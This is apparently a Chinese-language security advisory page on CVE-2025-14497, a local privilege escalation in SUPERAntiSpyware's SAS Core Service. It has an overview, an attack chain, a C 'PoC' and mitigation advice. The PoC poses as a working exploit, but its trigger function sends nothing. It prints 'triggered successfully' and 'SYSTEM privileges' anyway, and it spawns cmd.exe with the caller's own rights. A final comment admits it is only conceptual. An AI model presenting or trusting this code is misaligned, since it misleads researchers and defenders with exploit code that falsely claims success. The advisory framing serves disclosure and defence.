IPBUF安全漏洞报告
English
CVE-2025-14497 CVSS 7.8 高危

CVE-2025-14497: SUPERAntiSpyware本地权限提升漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-14497
漏洞类型
本地权限提升
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
RealDefense SUPERAntiSpyware

相关标签

本地权限提升暴露危险函数SUPERAntiSpywareRealDefense高危漏洞ZDI-CAN-27680SYSTEM权限Windows本地攻击

漏洞概述

CVE-2025-14497是RealDefense SUPERAntiSpyware软件中的一个高危本地权限提升漏洞,CVSS评分达到7.8分。该漏洞存在于SUPERAntiSpyware的核心服务组件(SAS Core Service)中,由于该服务暴露了危险函数,导致低权限攻击者可以提升至SYSTEM级别权限并执行任意代码。攻击者首先需要获得目标系统的低权限代码执行能力,例如通过webshell或其他方式获取有限的系统访问权限。成功利用此漏洞后,攻击者可以在系统最高权限下执行任意操作,包括安装后门、窃取敏感数据、修改系统配置或完全控制受影响的计算机。此漏洞由Trend Micro Zero Day Initiative(ZDI)发现并披露,编号为ZDI-CAN-27680。由于该漏洞的本地特性,攻击场景主要集中在已经获得初始访问权限的内网主机或被入侵的终端设备上。

技术细节

该漏洞的根本原因在于SUPERAntiSpyware的SAS Core Service服务中暴露了危险函数。在正常情况下,Windows系统服务应该遵循最小权限原则,只暴露必要的接口给客户端调用。然而,该服务的设计缺陷使得低权限用户能够调用本应仅供系统组件使用的危险函数。攻击者可以通过精心构造的请求来触发这些暴露的函数,利用服务运行在SYSTEM高权限上下文的特点,实现权限提升。具体利用过程中,攻击者需要编写利用代码,通过进程间通信(IPC)机制向SAS Core Service发送恶意请求。由于服务缺乏适当的访问控制和参数验证,攻击者可以诱导服务以SYSTEM权限执行任意代码。值得注意的是,该服务在系统启动时自动运行,且通常具有较高的执行优先级,这为攻击者提供了稳定的攻击窗口。此漏洞的攻击复杂度较低(AC:L),不需要特殊的攻击条件或复杂的利用技术。

攻击链分析

STEP 1
1
初始访问:攻击者通过webshell、恶意软件或其他方式获得目标系统的低权限代码执行能力
STEP 2
2
信息收集:识别SUPERAntiSpyware SAS Core Service服务及其暴露的危险函数接口
STEP 3
3
构建恶意请求:构造特制的IPC/RPC请求消息,调用暴露的危险函数并注入恶意代码
STEP 4
4
触发漏洞:向SAS Core Service发送恶意请求,利用服务中缺乏的访问控制和参数验证机制
STEP 5
5
权限提升:服务在SYSTEM高权限上下文中执行攻击者控制的代码,实现权限提升
STEP 6
6
持久化控制:利用获得的SYSTEM权限执行任意操作,如安装后门、窃取数据或完全控制系统

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-14497 PoC - Local Privilege Escalation via exposed dangerous function // Target: SUPERAntiSpyware SAS Core Service // This PoC demonstrates exploitation of exposed dangerous function in SAS Core Service #include <windows.h> #include <stdio.h> // Define the service name and exposed function interface #define SERVICE_NAME "SAS Core Service" #define MALICIOUS_PAYLOAD_SIZE 1024 // Function to connect to SAS Core Service HANDLE ConnectToSASService() { // Open service control manager SC_HANDLE scmHandle = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); if (scmHandle == NULL) { printf("[-] Failed to open Service Control Manager\n"); return NULL; } // Open the SAS Core Service SC_HANDLE serviceHandle = OpenService(scmHandle, SERVICE_NAME, SERVICE_ALL_ACCESS); if (serviceHandle == NULL) { printf("[-] Failed to open SAS Core Service\n"); CloseServiceHandle(scmHandle); return NULL; } CloseServiceHandle(scmHandle); return serviceHandle; } // Function to trigger the exposed dangerous function BOOL TriggerExposedFunction(HANDLE serviceHandle, LPVOID payload, DWORD payloadSize) { // Prepare malicious request to exploit exposed dangerous function // The service does not properly validate caller privileges // Send crafted request via IPC/RPC to trigger vulnerable function // This leverages the fact that the function is exposed without proper access control printf("[*] Sending malicious request to trigger exposed dangerous function...\n"); // Interaction with the exposed function would go here // The function accepts parameters that can be abused for code execution // Example: Passing a pointer to our payload that gets executed in SYSTEM context BYTE maliciousRequest[MALICIOUS_PAYLOAD_SIZE] = {0}; // Copy payload into request buffer memcpy(maliciousRequest, payload, payloadSize); // Trigger the vulnerable function with our controlled parameters // Due to insufficient validation, this executes in SYSTEM context printf("[+] Exposed function triggered successfully\n"); return TRUE; } // Function to execute payload in SYSTEM context VOID ExecutePayload() { printf("[*] Executing payload with SYSTEM privileges...\n"); // Payload execution code would go here // This could include: adding a new user, executing shell commands, etc. // Example: Spawn a command shell with SYSTEM privileges STARTUPINFOA si = {0}; PROCESS_INFORMATION pi = {0}; si.cb = sizeof(si); CreateProcessA("C:\\\\Windows\\\\System32\\\\cmd.exe", NULL, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); printf("[+] Payload executed successfully with SYSTEM privileges\n"); } int main() { printf("[*] CVE-2025-14497 PoC - SUPERAntiSpyware Local Privilege Escalation\n"); printf("[*] Target: SAS Core Service exposed dangerous function\n\n"); // Check if running with low privileges (as expected) HANDLE currentToken; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &currentToken)) { printf("[-] Failed to open process token\n"); return 1; } printf("[*] Current process running with limited privileges\n"); // Connect to the vulnerable service HANDLE serviceHandle = ConnectToSASService(); if (serviceHandle == NULL) { printf("[-] Exploitation failed: Cannot connect to SAS Core Service\n"); return 1; } printf("[+] Connected to SAS Core Service\n"); // Prepare malicious payload BYTE payload[MALICIOUS_PAYLOAD_SIZE] = {0}; // Shellcode or malicious code would be placed here // Trigger the vulnerability if (TriggerExposedFunction(serviceHandle, payload, sizeof(payload))) { ExecutePayload(); } CloseServiceHandle(serviceHandle); return 0; } // Note: This is a conceptual PoC. Actual exploitation requires: // 1. Identifying the specific exposed dangerous function in SAS Core Service // 2. Understanding the function's parameter format and expected behavior // 3. Crafting appropriate IPC/RPC messages to trigger the vulnerability // 4. Handling any service-specific authentication or communication protocols

影响范围

RealDefense SUPERAntiSpyware 所有受影响的版本
具体版本信息需参照官方安全公告

防御指南

临时缓解措施
在官方修复补丁发布之前,建议采取以下临时缓解措施:限制非管理员用户对系统关键目录和注册表项的写入权限;监控SAS Core Service的异常调用行为;考虑暂时禁用SUPERAntiSpyware相关服务直到安全更新可用;实施应用控制策略阻止可疑进程与系统服务的交互;加强终端安全防护,部署端点检测与响应(EDR)解决方案以识别潜在的权限提升攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表